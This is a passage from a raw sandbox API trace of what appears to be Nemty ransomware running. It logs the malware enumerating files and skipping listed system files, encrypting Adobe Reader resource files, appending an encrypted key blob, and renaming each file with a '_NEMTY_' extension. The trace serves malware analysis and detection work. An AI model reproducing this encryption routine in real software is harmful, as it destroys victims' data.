CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x653e210, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x653e260, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0216.621] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ara32.clx", cchWideChar=9, lpMultiByteStr=0x653e298, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ara32.clx", lpUsedDefaultChar=0x0) returned 9 [0216.621] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.621] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340500 [0216.622] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.622] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.622] Sleep (dwMilliseconds=0x5) [0216.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34c319f0, dwHighDateTime=0x1d561e8)) [0216.635] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34c319f0, dwHighDateTime=0x1d561e8)) [0216.635] GetLastError () returned 0x0 [0216.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.635] GetLastError () returned 0x0 [0216.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.635] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.635] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.635] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.635] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.635] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6349050 [0216.636] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6349050, pcchString=0x653df5c | out: pszString="PhHyxzks4ehzvGEtZOVIvACU8vcATzmbxeRsLfh9kdX3ghHqbsLqGAJnDRPyJVdK\r\nF307xIS9evvgI7QY9hgmxm2AUmffbTgIrNnadi/1tbiVpD0e+UbJRChRWpyfXn6H\r\nc0pksqLrx8x77/Pab/aofmT2Yb4fqM6poZYokPci1jzuE3uIcygW8SEI3QkQmC/S\r\nomP9Pj2FhoFk9+ZTwyGy3qjO6ekvMQ6eiU9dr5s56P38GQs8Uta1zNjXjomYtltU\r\nzGvGdWMAZ8TXJJmPS4PbmjVO39/oSqWyKIyuQ5HxGkxXTAA0KKmE6Aewz1JwG9yr\r\nAFbhD6Loy2K7fdahBRiBiw==\r\n", pcchString=0x653df5c) returned 1 [0216.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0216.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.636] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6349050 [0216.636] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.636] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara32.clx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.637] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=32756) returned 1 [0216.637] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x7ff0) returned 0x6352c48 [0216.637] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.637] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x7ff0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.640] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.640] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x7ff0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x7ff0, lpOverlapped=0x0) returned 1 [0216.640] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.641] SetFilePointer (in: hFile=0x320, lDistanceToMove=32756, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7ff4 [0216.641] WriteFile (in: hFile=0x320, lpBuffer=0x6349050*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6349050*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.641] CloseHandle (hObject=0x320) returned 1 [0216.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0216.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.641] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344198 [0216.641] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344270 [0216.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0216.641] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.641] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara32.clx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara32.clx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\ara32.clx._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\ara32.clx._nemty_kgobjgd_")) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344270 | out: hHeap=0x4f90000) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.642] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0216.642] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7e18d460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3cf0, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="araphon.env", cAlternateFileName="")) returned 1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2=".") returned 1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="..") returned 1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="...") returned 1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="windows") returned -1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="$RECYCLE.BIN") returned 1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="rsa") returned -1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="NTDETECT.COM") returned -1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="ntldr") returned -1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="MSDOS.SYS") returned -1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="IO.SYS") returned -1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="boot.ini") returned -1 [0216.642] lstrcmpiW (lpString1="araphon.env", lpString2="boot.ini") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="AUTOEXEC.BAT") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="ntuser.dat") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="desktop.ini") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="CONFIG.SYS") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="RECYCLER") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="BOOTSECT.BAK") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="bootmgr") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="programdata") returned -1 [0216.643] lstrcmpiW (lpString1="araphon.env", lpString2="appdata") returned 1 [0216.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="araphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x653e210, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="araphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x653e260, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="araphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0216.643] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="araphon.env", cchWideChar=11, lpMultiByteStr=0x653e298, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="araphon.env", lpUsedDefaultChar=0x0) returned 11 [0216.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.643] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6343fe8 [0216.643] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.644] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6340500 [0216.644] Sleep (dwMilliseconds=0x5) [0216.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34c57b50, dwHighDateTime=0x1d561e8)) [0216.651] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e124 | out: lpSystemTimeAsFileTime=0x653e124*(dwLowDateTime=0x34c57b50, dwHighDateTime=0x1d561e8)) [0216.651] GetLastError () returned 0x0 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0216.651] GetLastError () returned 0x0 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0216.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653df60*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653df60*=0x100) returned 1 [0216.651] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653df64*, pdwDataLen=0x653df50*=0x10, dwBufLen=0x100 | out: pbData=0x653df64*, pdwDataLen=0x653df50*=0x100) returned 1 [0216.651] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653df5c | out: pszString=0x0, pcchString=0x653df5c) returned 1 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0216.651] CryptBinaryToStringA (in: pbBinary=0x653df64, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653df5c | out: pszString="o4K3gs5nmg6H7s7UZ70bd/kmYt2CwWF3/2KLq+hnNTwKc3D52bj4FoNqs3TpiJCB\r\n9ySiwe/g0sJ+IMbt4tvBpBOjcnq9qdlnZ0Arz1F+pEbgnM/qF0uHPDvM8yIJM/G8\r\n8xQf/QDeq4BpYL3JXTfSyfoc1yDFrXyAWO5cb0gGYBmP0Tyy8kfsil47kCzFakVG\r\nP6xvb/TSYlYeSdEPpLEjI+WMSvqhHYcSANJC2oAbgFdECRmEmPjnucG6MFDIH5eP\r\n3Bc3PnlN/8Y7Oi+GfwNKcF2VWEWtVD9cOAK5elw49VJEFzNT4auKO4oxPCKAYmUY\r\nyTh5G+eSqR32vDrlbwWyDw==\r\n", pcchString=0x653df5c) returned 1 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0216.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.651] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0216.651] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0216.651] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x320 [0216.652] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x653e1b0 | out: lpFileSize=0x653e1b0*=15600) returned 1 [0216.652] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3cf0) returned 0x6352c48 [0216.652] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.652] ReadFile (in: hFile=0x320, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x3cf0, lpNumberOfBytesRead=0x653e1a4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e1a4*=0x3cf0, lpOverlapped=0x0) returned 1 [0216.655] SetFilePointer (in: hFile=0x320, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0216.655] WriteFile (in: hFile=0x320, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x3cf0, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e19c*=0x3cf0, lpOverlapped=0x0) returned 1 [0216.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0216.655] SetFilePointer (in: hFile=0x320, lDistanceToMove=15600, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3cf0 [0216.655] WriteFile (in: hFile=0x320, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e19c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653e19c*=0x167, lpOverlapped=0x0) returned 1 [0216.655] CloseHandle (hObject=0x320) returned 1 [0216.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x63440c0 [0216.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0216.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0216.655] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0216.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0216.655] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0216.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd0) returned 0x6344198 [0216.655] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x136) returned 0x6344270 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344198 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0216.656] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\Providers\\Proximity\\11.00\\araphon.env._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\providers\\proximity\\11.00\\araphon.env._nemty_kgobjgd_")) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6344270 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63440c0 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0216.656] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340500 | out: hHeap=0x4f90000) returned 1 [0216.656] FindNextFileW (in: hFindFile=0x3423b30, lpFindFileData=0x653e308 | out: lpFindFileData=0x653e308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7df2be60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x128c, dwReserved0=0x19, dwReserved1=0x4f90000, cFileName="brt.fca", cAlternateFileName="")) returned 1 [0216.656] lstrcmpiW (lpString1="brt.fca", lpString2=".") returned 1 [0216.656] lstrcmpiW (lpString1="brt.fca", lpString2="..") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="...") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="windows") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="$RECYCLE.BIN") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="rsa") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="NTDETECT.COM") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="ntldr") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="MSDOS.SYS") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="IO.SYS") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="boot.ini") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="boot.ini") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="AUTOEXEC.BAT") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="ntuser.dat") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="desktop.ini") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="CONFIG.SYS") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="RECYCLER") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="BOOTSECT.BAK") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="bootmgr") returned 1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="programdata") returned -1 [0216.657] lstrcmpiW (lpString1="brt.fca", lpString2="appdata") returned 1 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0216.657] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="brt.fca", cchWideChar=7, 